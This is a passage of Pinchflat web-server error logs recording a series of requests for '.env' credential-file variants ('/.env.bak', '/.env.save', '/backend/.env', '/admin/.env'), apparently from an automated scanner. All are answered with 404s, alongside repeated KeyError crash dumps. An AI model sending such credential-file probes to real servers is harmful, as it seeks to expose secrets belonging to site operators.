AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20091.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8mxuC4FGh1eMABR2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20091.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.bak", (truncated) 17:45:02.644 [info] GET /.env.save 17:45:02.645 [debug] QUERY OK source="settings" db=0.2ms idle=589.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.645 [debug] QUERY OK source="settings" db=0.1ms idle=232.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.645 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:02.645 [error] #PID<0.20092.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20092.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8myJ12D8KtJoABR4C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20092.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 17:45:02.760 [info] GET /.env.local 17:45:02.761 [debug] QUERY OK source="settings" db=0.1ms idle=348.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.761 [debug] QUERY OK source="settings" db=0.0ms idle=232.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.761 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:02.762 [error] #PID<0.20093.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20093.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8myliR8UwRSAABR6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20093.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 17:45:02.877 [info] GET /backend/.env 17:45:02.877 [debug] QUERY OK source="settings" db=0.1ms idle=232.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.877 [debug] QUERY OK source="settings" db=0.0ms idle=232.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.878 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:02.878 [error] #PID<0.20094.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20094.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8mzBP_H3e5qQABR8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20094.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], (truncated) 17:45:02.997 [info] GET /admin/.env 17:45:02.998 [debug] QUERY OK source="settings" db=0.1ms idle=236.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.998 [debug] QUERY OK source="settings" db=0.0ms idle=236.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.998 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:02.998 [error] #PID<0.20095.0> running PinchflatWeb.Endpoint (connection 